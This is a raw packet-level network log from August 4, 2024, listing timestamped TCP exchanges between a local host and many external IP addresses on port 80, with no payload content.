Aug 4, 2024 10:57:25.097870111 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.097883940 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.097896099 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.097898960 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.097910881 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.097929001 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.097934961 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.097976923 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.098460913 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.098628998 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.098721027 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.098735094 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.098748922 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.098761082 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.098790884 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.098948956 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.098990917 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.099010944 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099024057 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099037886 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099064112 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.099462032 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099474907 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099488020 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099500895 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099514008 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.099514008 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099529028 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099539995 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.099540949 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099558115 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099566936 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.099574089 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.099581957 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.099607944 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.100349903 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.100362062 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.100374937 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.100389004 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.100404978 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.100408077 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.100420952 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.100433111 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.100442886 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.100451946 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.100471973 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.100491047 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.101131916 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.101147890 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.101196051 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.113465071 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.119894028 CEST	80	49723	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.120532990 CEST	49723	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.256663084 CEST	49724	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.261635065 CEST	80	49724	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:25.261710882 CEST	49724	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.261919022 CEST	49724	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:25.266769886 CEST	80	49724	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:26.601526976 CEST	80	49724	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:26.609757900 CEST	49724	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:26.616802931 CEST	80	49724	27.221.16.149	192.168.2.7
Aug 4, 2024 10:57:26.617846966 CEST	49724	80	192.168.2.7	27.221.16.149
Aug 4, 2024 10:57:27.952796936 CEST	49725	80	192.168.2.7	103.107.217.26
Aug 4, 2024 10:57:27.957577944 CEST	80	49725	103.107.217.26	192.168.2.7
Aug 4, 2024 10:57:27.957638979 CEST	49725	80	192.168.2.7	103.107.217.26
Aug 4, 2024 10:57:27.957755089 CEST	49725	80	192.168.2.7	103.107.217.26
Aug 4, 2024 10:57:27.962547064 CEST	80	49725	103.107.217.26	192.168.2.7
Aug 4, 2024 10:57:28.262939930 CEST	49727	80	192.168.2.7	163.181.130.194
Aug 4, 2024 10:57:28.497387886 CEST	49728	80	192.168.2.7	43.159.71.118
Aug 4, 2024 10:57:28.498239994 CEST	49729	80	192.168.2.7	43.132.73.61
Aug 4, 2024 10:57:28.498320103 CEST	49730	80	192.168.2.7	119.28.109.132
Aug 4, 2024 10:57:28.498399973 CEST	49731	80	192.168.2.7	163.181.42.239
Aug 4, 2024 10:57:28.500653982 CEST	80	49727	163.181.130.194	192.168.2.7
Aug 4, 2024 10:57:28.500845909 CEST	49727	80	192.168.2.7	163.181.130.194
Aug 4, 2024 10:57:28.500999928 CEST	49727	80	192.168.2.7	163.181.130.194
Aug 4, 2024 10:57:28.504158974 CEST	80	49728	43.159.71.118	192.168.2.7
Aug 4, 2024 10:57:28.504225969 CEST	49728	80	192.168.2.7	43.159.71.118
Aug 4, 2024 10:57:28.504333019 CEST	49728	80	192.168.2.7	43.159.71.118
Aug 4, 2024 10:57:28.504390001 CEST	80	49729	43.132.73.61	192.168.2.7
Aug 4, 2024 10:57:28.504419088 CEST	80	49730	119.28.109.132	192.168.2.7
Aug 4, 2024 10:57:28.504447937 CEST	80	49731	163.181.42.239	192.168.2.7
Aug 4, 2024 10:57:28.504463911 CEST	49729	80	192.168.2.7	43.132.73.61
Aug 4, 2024 10:57:28.504472017 CEST	49730	80	192.168.2.7	119.28.109.132
Aug 4, 2024 10:57:28.504502058 CEST	49731	80	192.168.2.7	163.181.42.239
Aug 4, 2024 10:57:28.504627943 CEST	49729	80	192.168.2.7	43.132.73.61
Aug 4, 2024 10:57:28.504651070 CEST	49730	80	192.168.2.7	119.28.109.132
Aug 4, 2024 10:57:28.504746914 CEST	49731	80	192.168.2.7	163.181.42.239
Aug 4, 2024 10:57:28.505270004 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:28.506027937 CEST	80	49727	163.181.130.194	192.168.2.7
Aug 4, 2024 10:57:28.509310961 CEST	80	49728	43.159.71.118	192.168.2.7
Aug 4, 2024 10:57:28.509439945 CEST	80	49729	43.132.73.61	192.168.2.7
Aug 4, 2024 10:57:28.509656906 CEST	80	49730	119.28.109.132	192.168.2.7
Aug 4, 2024 10:57:28.509685040 CEST	80	49731	163.181.42.239	192.168.2.7
Aug 4, 2024 10:57:28.510085106 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:28.510221958 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:28.510333061 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:28.511713028 CEST	49733	80	192.168.2.7	163.171.132.119
Aug 4, 2024 10:57:28.515105009 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:28.518476963 CEST	80	49733	163.171.132.119	192.168.2.7
Aug 4, 2024 10:57:28.518644094 CEST	49733	80	192.168.2.7	163.171.132.119
Aug 4, 2024 10:57:28.518737078 CEST	49733	80	192.168.2.7	163.171.132.119
Aug 4, 2024 10:57:28.526858091 CEST	80	49733	163.171.132.119	192.168.2.7
Aug 4, 2024 10:57:28.608212948 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:28.613122940 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:28.613616943 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:28.613744974 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:28.623301983 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:28.673361063 CEST	49736	80	192.168.2.7	49.51.65.181
Aug 4, 2024 10:57:28.686714888 CEST	80	49736	49.51.65.181	192.168.2.7
Aug 4, 2024 10:57:28.686805964 CEST	49736	80	192.168.2.7	49.51.65.181
Aug 4, 2024 10:57:28.687637091 CEST	49736	80	192.168.2.7	49.51.65.181
Aug 4, 2024 10:57:28.692495108 CEST	80	49736	49.51.65.181	192.168.2.7
Aug 4, 2024 10:57:28.698549986 CEST	49737	80	192.168.2.7	111.124.200.101
Aug 4, 2024 10:57:28.703535080 CEST	80	49737	111.124.200.101	192.168.2.7
Aug 4, 2024 10:57:28.703638077 CEST	49737	80	192.168.2.7	111.124.200.101
Aug 4, 2024 10:57:28.703803062 CEST	49737	80	192.168.2.7	111.124.200.101
Aug 4, 2024 10:57:28.708676100 CEST	80	49737	111.124.200.101	192.168.2.7
Aug 4, 2024 10:57:28.723907948 CEST	49738	80	192.168.2.7	104.192.110.226
Aug 4, 2024 10:57:28.728835106 CEST	80	49738	104.192.110.226	192.168.2.7
Aug 4, 2024 10:57:28.729888916 CEST	49738	80	192.168.2.7	104.192.110.226
Aug 4, 2024 10:57:28.730063915 CEST	49738	80	192.168.2.7	104.192.110.226
Aug 4, 2024 10:57:28.734951019 CEST	80	49738	104.192.110.226	192.168.2.7
Aug 4, 2024 10:57:28.747169018 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:28.752216101 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:28.753854990 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:28.753973961 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:28.758876085 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:28.782309055 CEST	49740	80	192.168.2.7	163.181.199.199
Aug 4, 2024 10:57:28.788083076 CEST	80	49740	163.181.199.199	192.168.2.7
Aug 4, 2024 10:57:28.789983988 CEST	49740	80	192.168.2.7	163.181.199.199
Aug 4, 2024 10:57:28.790194035 CEST	49740	80	192.168.2.7	163.181.199.199
Aug 4, 2024 10:57:28.798027039 CEST	80	49740	163.181.199.199	192.168.2.7
Aug 4, 2024 10:57:28.806997061 CEST	49741	80	192.168.2.7	47.94.225.221
Aug 4, 2024 10:57:28.811970949 CEST	80	49741	47.94.225.221	192.168.2.7
Aug 4, 2024 10:57:28.812052011 CEST	49741	80	192.168.2.7	47.94.225.221
Aug 4, 2024 10:57:28.813093901 CEST	49741	80	192.168.2.7	47.94.225.221
Aug 4, 2024 10:57:28.817997932 CEST	80	49741	47.94.225.221	192.168.2.7
Aug 4, 2024 10:57:28.931621075 CEST	49742	80	192.168.2.7	163.181.131.210
Aug 4, 2024 10:57:28.936424017 CEST	80	49742	163.181.131.210	192.168.2.7
Aug 4, 2024 10:57:28.937854052 CEST	49742	80	192.168.2.7	163.181.131.210
Aug 4, 2024 10:57:28.938045025 CEST	49742	80	192.168.2.7	163.181.131.210
Aug 4, 2024 10:57:28.944076061 CEST	80	49742	163.181.131.210	192.168.2.7
Aug 4, 2024 10:57:29.273390055 CEST	49744	80	192.168.2.7	113.219.142.35
Aug 4, 2024 10:57:29.277411938 CEST	80	49727	163.181.130.194	192.168.2.7
Aug 4, 2024 10:57:29.277539015 CEST	80	49733	163.171.132.119	192.168.2.7
Aug 4, 2024 10:57:29.277971983 CEST	80	49725	103.107.217.26	192.168.2.7
Aug 4, 2024 10:57:29.278531075 CEST	80	49744	113.219.142.35	192.168.2.7
Aug 4, 2024 10:57:29.278666973 CEST	49744	80	192.168.2.7	113.219.142.35
Aug 4, 2024 10:57:29.279294968 CEST	49744	80	192.168.2.7	113.219.142.35
Aug 4, 2024 10:57:29.281538010 CEST	49745	80	192.168.2.7	43.159.118.238
Aug 4, 2024 10:57:29.281649113 CEST	49746	80	192.168.2.7	138.113.147.185
Aug 4, 2024 10:57:29.284154892 CEST	80	49744	113.219.142.35	192.168.2.7
Aug 4, 2024 10:57:29.284619093 CEST	49733	80	192.168.2.7	163.171.132.119
Aug 4, 2024 10:57:29.286478043 CEST	80	49745	43.159.118.238	192.168.2.7
Aug 4, 2024 10:57:29.286492109 CEST	80	49746	138.113.147.185	192.168.2.7
Aug 4, 2024 10:57:29.286552906 CEST	49745	80	192.168.2.7	43.159.118.238
Aug 4, 2024 10:57:29.286600113 CEST	49746	80	192.168.2.7	138.113.147.185
Aug 4, 2024 10:57:29.286768913 CEST	49746	80	192.168.2.7	138.113.147.185
Aug 4, 2024 10:57:29.286989927 CEST	49745	80	192.168.2.7	43.159.118.238
Aug 4, 2024 10:57:29.289495945 CEST	49725	80	192.168.2.7	103.107.217.26
Aug 4, 2024 10:57:29.289834023 CEST	49727	80	192.168.2.7	163.181.130.194
Aug 4, 2024 10:57:29.290015936 CEST	80	49733	163.171.132.119	192.168.2.7
Aug 4, 2024 10:57:29.290086985 CEST	49733	80	192.168.2.7	163.171.132.119
Aug 4, 2024 10:57:29.291563034 CEST	80	49746	138.113.147.185	192.168.2.7
Aug 4, 2024 10:57:29.291876078 CEST	80	49745	43.159.118.238	192.168.2.7
Aug 4, 2024 10:57:29.298974991 CEST	80	49736	49.51.65.181	192.168.2.7
Aug 4, 2024 10:57:29.301580906 CEST	49736	80	192.168.2.7	49.51.65.181
Aug 4, 2024 10:57:29.315722942 CEST	49747	80	192.168.2.7	47.254.187.186
Aug 4, 2024 10:57:29.320652008 CEST	80	49747	47.254.187.186	192.168.2.7
Aug 4, 2024 10:57:29.320746899 CEST	49747	80	192.168.2.7	47.254.187.186
Aug 4, 2024 10:57:29.320880890 CEST	49747	80	192.168.2.7	47.254.187.186
Aug 4, 2024 10:57:29.325750113 CEST	80	49747	47.254.187.186	192.168.2.7
Aug 4, 2024 10:57:29.433157921 CEST	80	49728	43.159.71.118	192.168.2.7
Aug 4, 2024 10:57:29.435302973 CEST	80	49731	163.181.42.239	192.168.2.7
Aug 4, 2024 10:57:29.437159061 CEST	49728	80	192.168.2.7	43.159.71.118
Aug 4, 2024 10:57:29.440546989 CEST	49731	80	192.168.2.7	163.181.42.239
Aug 4, 2024 10:57:29.441571951 CEST	49748	80	192.168.2.7	45.194.34.250
Aug 4, 2024 10:57:29.441925049 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.441975117 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.441986084 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.442014933 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:29.442065001 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.442079067 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.442109108 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:29.442137957 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.442152977 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.442203999 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:29.442293882 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.442306995 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.442317963 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.442337990 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:29.442367077 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:29.442399979 CEST	80	49728	43.159.71.118	192.168.2.7
Aug 4, 2024 10:57:29.442454100 CEST	49728	80	192.168.2.7	43.159.71.118
Aug 4, 2024 10:57:29.446746111 CEST	80	49748	45.194.34.250	192.168.2.7
Aug 4, 2024 10:57:29.446791887 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.446815968 CEST	49748	80	192.168.2.7	45.194.34.250
Aug 4, 2024 10:57:29.446854115 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.446866035 CEST	80	49732	103.235.46.96	192.168.2.7
Aug 4, 2024 10:57:29.446897984 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:29.447185993 CEST	49748	80	192.168.2.7	45.194.34.250
Aug 4, 2024 10:57:29.451940060 CEST	80	49748	45.194.34.250	192.168.2.7
Aug 4, 2024 10:57:29.456401110 CEST	49732	80	192.168.2.7	103.235.46.96
Aug 4, 2024 10:57:29.465536118 CEST	49749	80	192.168.2.7	43.152.29.38
Aug 4, 2024 10:57:29.470557928 CEST	80	49749	43.152.29.38	192.168.2.7
Aug 4, 2024 10:57:29.470716953 CEST	49749	80	192.168.2.7	43.152.29.38
Aug 4, 2024 10:57:29.470935106 CEST	49749	80	192.168.2.7	43.152.29.38
Aug 4, 2024 10:57:29.475786924 CEST	80	49729	43.132.73.61	192.168.2.7
Aug 4, 2024 10:57:29.478842974 CEST	80	49749	43.152.29.38	192.168.2.7
Aug 4, 2024 10:57:29.479161978 CEST	49729	80	192.168.2.7	43.132.73.61
Aug 4, 2024 10:57:29.531384945 CEST	49750	80	192.168.2.7	43.132.80.77
Aug 4, 2024 10:57:29.536380053 CEST	80	49750	43.132.80.77	192.168.2.7
Aug 4, 2024 10:57:29.536448002 CEST	49750	80	192.168.2.7	43.132.80.77
Aug 4, 2024 10:57:29.536693096 CEST	49750	80	192.168.2.7	43.132.80.77
Aug 4, 2024 10:57:29.541534901 CEST	80	49750	43.132.80.77	192.168.2.7
Aug 4, 2024 10:57:29.568948984 CEST	80	49730	119.28.109.132	192.168.2.7
Aug 4, 2024 10:57:29.570780039 CEST	80	49742	163.181.131.210	192.168.2.7
Aug 4, 2024 10:57:29.576154947 CEST	49730	80	192.168.2.7	119.28.109.132
Aug 4, 2024 10:57:29.585160017 CEST	49742	80	192.168.2.7	163.181.131.210
Aug 4, 2024 10:57:29.604978085 CEST	49751	80	192.168.2.7	218.68.136.35
Aug 4, 2024 10:57:29.610018969 CEST	80	49751	218.68.136.35	192.168.2.7
Aug 4, 2024 10:57:29.610080004 CEST	49751	80	192.168.2.7	218.68.136.35
Aug 4, 2024 10:57:29.630048037 CEST	49751	80	192.168.2.7	218.68.136.35
Aug 4, 2024 10:57:29.642163992 CEST	80	49751	218.68.136.35	192.168.2.7
Aug 4, 2024 10:57:29.714116096 CEST	80	49740	163.181.199.199	192.168.2.7
Aug 4, 2024 10:57:29.720236063 CEST	49740	80	192.168.2.7	163.181.199.199
Aug 4, 2024 10:57:29.744895935 CEST	80	49745	43.159.118.238	192.168.2.7
Aug 4, 2024 10:57:29.747689009 CEST	49745	80	192.168.2.7	43.159.118.238
Aug 4, 2024 10:57:29.753153086 CEST	80	49745	43.159.118.238	192.168.2.7
Aug 4, 2024 10:57:29.753233910 CEST	49745	80	192.168.2.7	43.159.118.238
Aug 4, 2024 10:57:29.769002914 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769067049 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769079924 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769108057 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:29.769243956 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769256115 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769268036 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769326925 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:29.769326925 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:29.769743919 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769896030 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769907951 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.769957066 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:29.769983053 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.770044088 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:29.773221016 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:29.773996115 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.774049997 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:29.774066925 CEST	80	49739	120.26.110.170	192.168.2.7
Aug 4, 2024 10:57:29.774111986 CEST	49739	80	192.168.2.7	120.26.110.170
Aug 4, 2024 10:57:29.844729900 CEST	80	49738	104.192.110.226	192.168.2.7
Aug 4, 2024 10:57:29.848417997 CEST	49738	80	192.168.2.7	104.192.110.226
Aug 4, 2024 10:57:29.919218063 CEST	80	49746	138.113.147.185	192.168.2.7
Aug 4, 2024 10:57:29.920526981 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.920645952 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.920752048 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:29.922233105 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.922338963 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.922352076 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.922383070 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:29.922527075 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.922538996 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.922550917 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.922560930 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.922566891 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:29.922569036 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.922600031 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:29.928592920 CEST	49746	80	192.168.2.7	138.113.147.185
Aug 4, 2024 10:57:29.929332972 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.929512978 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.929565907 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:29.929619074 CEST	80	49734	103.235.46.98	192.168.2.7
Aug 4, 2024 10:57:29.933391094 CEST	49734	80	192.168.2.7	103.235.46.98
Aug 4, 2024 10:57:29.934004068 CEST	80	49746	138.113.147.185	192.168.2.7
Aug 4, 2024 10:57:29.934087038 CEST	49746	80	192.168.2.7	138.113.147.185
Aug 4, 2024 10:57:30.019407034 CEST	80	49748	45.194.34.250	192.168.2.7
Aug 4, 2024 10:57:30.023427963 CEST	49748	80	192.168.2.7	45.194.34.250
Aug 4, 2024 10:57:30.029124975 CEST	80	49748	45.194.34.250	192.168.2.7
Aug 4, 2024 10:57:30.029180050 CEST	49748	80	192.168.2.7	45.194.34.250
Aug 4, 2024 10:57:30.109846115 CEST	80	49749	43.152.29.38	192.168.2.7
Aug 4, 2024 10:57:30.113578081 CEST	49749	80	192.168.2.7	43.152.29.38
Aug 4, 2024 10:57:30.118987083 CEST	80	49749	43.152.29.38	192.168.2.7
Aug 4, 2024 10:57:30.119035959 CEST	49749	80	192.168.2.7	43.152.29.38
Aug 4, 2024 10:57:30.225490093 CEST	80	49744	113.219.142.35	192.168.2.7
Aug 4, 2024 10:57:30.229990005 CEST	49744	80	192.168.2.7	113.219.142.35
Aug 4, 2024 10:57:30.395293951 CEST	80	49737	111.124.200.101	192.168.2.7
Aug 4, 2024 10:57:30.408977032 CEST	49737	80	192.168.2.7	111.124.200.101
Aug 4, 2024 10:57:30.491137981 CEST	80	49750	43.132.80.77	192.168.2.7
Aug 4, 2024 10:57:30.494612932 CEST	49750	80	192.168.2.7	43.132.80.77
Aug 4, 2024 10:57:30.496578932 CEST	80	49741	47.94.225.221	192.168.2.7
Aug 4, 2024 10:57:30.499866962 CEST	49741	80	192.168.2.7	47.94.225.221
Aug 4, 2024 10:57:30.500276089 CEST	80	49750	43.132.80.77	192.168.2.7
Aug 4, 2024 10:57:30.500340939 CEST	49750	80	192.168.2.7	43.132.80.77
Aug 4, 2024 10:57:30.687503099 CEST	80	49747	47.254.187.186	192.168.2.7
Aug 4, 2024 10:57:30.687516928 CEST	80	49747	47.254.187.186	192.168.2.7
Aug 4, 2024 10:57:30.687599897 CEST	49747	80	192.168.2.7	47.254.187.186
Aug 4, 2024 10:57:30.689260006 CEST	80	49751	218.68.136.35	192.168.2.7
Aug 4, 2024 10:57:30.695209026 CEST	49747	80	192.168.2.7	47.254.187.186
Aug 4, 2024 10:57:30.695776939 CEST	49751	80	192.168.2.7	218.68.136.35
Aug 4, 2024 10:57:30.700529099 CEST	80	49747	47.254.187.186	192.168.2.7
Aug 4, 2024 10:57:30.700850964 CEST	49747	80	192.168.2.7	47.254.187.186
Aug 4, 2024 10:57:32.103821039 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:32.111901045 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:32.112010956 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:32.112184048 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:32.120764017 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316416025 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316452980 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316463947 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316500902 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316500902 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:33.316514015 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316545010 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:33.316632032 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316646099 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316658020 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316684008 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:33.316715956 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:33.316836119 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316848993 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.316895008 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:33.328071117 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.328176022 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.328186989 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.328233004 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:33.670486927 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.670559883 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.670576096 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.670602083 CEST	49755	80	192.168.2.7	27.221.16.179
Aug 4, 2024 10:57:33.670919895 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.670994043 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.671010017 CEST	80	49755	27.221.16.179	192.168.2.7
Aug 4, 2024 10:57:33.671047926 CEST	49755	80	192.168.2.7	27.221.16.179
